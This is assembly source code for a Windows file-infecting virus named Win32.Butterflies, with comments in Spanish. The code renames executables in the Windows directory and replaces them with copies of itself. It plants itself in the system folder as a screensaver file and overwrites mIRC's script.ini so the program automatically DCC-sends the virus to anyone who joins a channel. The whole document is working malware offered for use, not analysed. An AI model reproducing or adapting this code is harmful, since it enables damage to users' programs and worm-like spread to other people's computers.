;Win32.Butterflies By Twizter/NuKe .386p .model flat ;Setting para el Tasm .code ;============================= extrn GetSystemDirectoryA:proc extrn GetWindowsDirectoryA:proc extrn lstrcat:proc extrn ExitProcess:proc extrn GetModuleHandleA:proc extrn GetModuleFileNameA:proc extrn FindFirstFileA:proc extrn FindNextFileA:proc extrn CopyFileA:proc extrn DeleteFileA:proc extrn MoveFileA:proc extrn _lopen:proc extrn _lwrite:proc extrn _lclose:proc extrn WinExec:proc extrn SetFilePointer:proc extrn GetCurrentDirectoryA:proc extrn SetCurrentDirectory:proc extrn _lread:proc extrn _lcreat:proc extrn SetCurrentDirectoryA:proc; Declaramos todas las funciones que vayamos a usar ;============================= include windows.inc ;============================= _off_ equ 2722d _scrpt_ equ offset end_script - offset IniData1 ;Declaramos el tamaņo del Script.ini ;============================= begin: push 00000001 ;modo de ejecucion push offset cFileName ;nombre del .vxe el cual se guarda en el exe al momento call WinExec ; de la infeccion push offset path3 ;Buffer en donde guaradar el Path push 260 ;Tamaņo del buffer call GetCurrentDirectoryA ;Obtiene el path del programa push 25 ;Tamaņo del buffer push offset path2 ;Buffer en donde guaradar el Path call GetWindowsDirectoryA ;obtiene el path de windows push offset path2 call SetCurrentDirectoryA ;el directorio ahora es el de windows push offset handle1 call GetModuleHandleA ;obtiene el handle del modulo de la fila que se esta ejecutando push 50 ;Tamaņo del buffer push offset handle2 ;buffer push eax ;handle del ejecutable que acabmos de obtener con la funcion anterior call GetModuleFileNameA ;guardamos el path de este ejcutable en handle2 push offset filedta ;estructura que recibe informacion acerca de los archivos encontrados push offset maska ; = *.Exe call FindFirstFileA ;funcion de buscar archivos mov dword ptr [handle_],eax ;guarda el hadle de la busqueda en _handle cmp eax, 0 ;si la funcion devolvio un 0 hubo un error o sea que no je done_this ;hay EXEs para infectar . check: ; cmp nFileSizeLow, 6000d ; jle nextfile mov bx, word ptr[cFileName] ;mueve el nombre del archivo encontrado a bx cmp bx, 'XE' ;mira a ver si empieza por Ex , para no infectar el explorer je nextfile ;si empieza por ex va por el proximo archivo cmp bx, 'UR' ;mira a ver si empieza por Ru , para no infectar el RunDllxx je nextfile ;si empieza por ex va por el proximo archivo cmp bx, 'ur' ;lo mismo je nextfile ;igual cmp bx, 'ME' ;Em , para no infectar el Emm386.Exe je nextfile ;no lo infecta lea esi, [cFileName] ;pone en Esi el nombre del file lea edi, [newfilename] ;pone en edi un buffer para guardar el nombre del nuevo file stowit: lodsb ;mueve un byte de esi a Al cmp al, '.' ;lo compara con el punto je addext ; si ya encontramos el punto vamos a la rutina addext stosb ;mueve el byte an al a Edi jmp stowit ;hace un loop hasta encontrar el punto addext: stosb ;mueve el "." a Edi lea esi, [newext] ;pone en esi la extension vxe movsw ;mueve el contenido de Esi (vxe) a Edi movsw ;mueve el contenido de Esi (vxe) a Edi push 0 ;Flags push offset newfilename ;nombre con la extension .Vxe push offset cFileName ;nombre con la extension .Exe call MoveFileA ;convierte el .exe a . vxe push 0 ;Flag push offset cFileName ;nombre del .exe push offset handle2 ;nombre del virus que se esta ejecutando call CopyFileA ;con esta funcion copiamos este virus con el antiguo nombre del .exe push 2 ;Write_Mode push offset cFileName ;abrimos el .exe "infectado" call _lopen ;Oopen file mov dword ptr [_handle],eax ;guarda el handle del archivo abierto push dword 0 ;how to move ; desde el file begin push NULL push _off_ ;offset a donde mover el puntero del file push eax ;handle del file call SetFilePointer ;movemos el puntero a la posicion donde se escribira el nombre del ;.vxe mov eax, dword ptr [_handle] ;mueve el handle a Eax push 50 ;numero de byes a escribir push offset newfilename ;bytes que vamos a escribir push eax ;handle del file a escribir call _lwrite ;de esta forma si por ejemplo infectamos write.exe , en el nuevo write.exe ;se guardara el nombre write.vxe para luego ejecutarlo push eax ;handle del archivo call _lclose ;close the file nextfile: push offset filedta ;estructura donde guardar la informacion de los archivos encontrados mov eax, dword ptr [handle_] ;handle de la primera busqueda push eax call FindNextFileA ;buscamos el sigueiente exe cmp eax, 0 ;si no hay mas files je done_this :saltamos a done_this jmp check done_this: push 25 ;tamaņo del buffer push offset path1 ;buffer donde guardar call GetSystemDirectoryA ; el directorio system ("C:\Windows\System\") push offset handle3 ;cadena que contiene "\FlyingButterflies.scr" push offset path1 ;path de system call lstrcat ;juntamos las dos cadenas push 0 ;flag push offset path1 ;nombre que se obtuvo en la funcion anterior push offset handle2 ;nombre de este file ("e.g:Virus.Exe") call CopyFileA ;movemos el virus al dir. system para mandarlo con Mirc push 2 ;flag push offset MircLNK ;nombre del acceso directo de mirc call _lopen :lo abrimos mov dword ptr [_handle],eax ;handle de mirc.lnk en Eax push dword 2 push NULL push -50 push eax call SetFilePointer ;nos movemos al offset -50 para ver el path de mirc mov eax, dword ptr [_handle] push 50 push offset MircDir push eax call _lread ;leemos 50 bytes en donde debe estar el path de mirc push eax call _lclose ;cerramos el acceso directo std lea esi, MircIni ;ponemos en Esi el path de mirc get_next_byte: lodsb ;movemos un byte de esi a al cmp al, ':' ;vemos si ya encontramos los dos puntos jne get_next_byte ;loop push offset MircIni ; = \script.ini push esi ;path del mirc call lstrcat ;juntamos los dos push 0 ;flag push esi ;nombre del archivo script.ini call _lcreate ;creamos o sobreescribimos el file push _scrpt_ ;numero de bytes a escribir push offset IniData1 ;contenido del script.ini push eax ;handle del archivo creado call _lwrite ;escribimos el archivo push eax ;handle call _lclose ;cerramos el archivo push offset path3 ;Path original call SetCurrentDirectoryA ;restauramos el path del principio push 0 call ExitProcess ; y terminamos ;============================= .data handle1 db 50 dup(0) handle2 db 50 dup(0) maska db '*.exe',0 newext db 'vxe',0 handle_ dd 0 _handle dd 0 filedta: FileAttributes dd 0 CreationTime db 8 dup(0) LastAccessTime db 8 dup(0) LastWriteTime db 8 dup(0) nFileSizeHigh dd 0 nFileSizeLow dd 0 dwReserved0 dd 0 dwReserved1 dd 0 cFileName db 50 dup('N') cAltFileName db 14 dup(0) newfilename db 50 dup(0) path2 db 25 dup(0) path3 db 260 dup(0) MircLNK db 'Start Menu\Programs\mIRC\mIRC32.LNK',0 MircDir db 50 dup(0) MircIni db '\script.ini',0 Mirc_ db 'c:\mirc\script.ini',0 IniData1: db '[Script]',0dh,0ah db 'n0=ON 1:JOIN:#:{ /if ( $nick == $me ) { halt }',0dh,0ah db 'n1= /dcc send $nick ' path1 db 25 dup(0) handle3 db '\FlyingButterflies.scr',0,'}' db 100 dup(0) end_script: end begin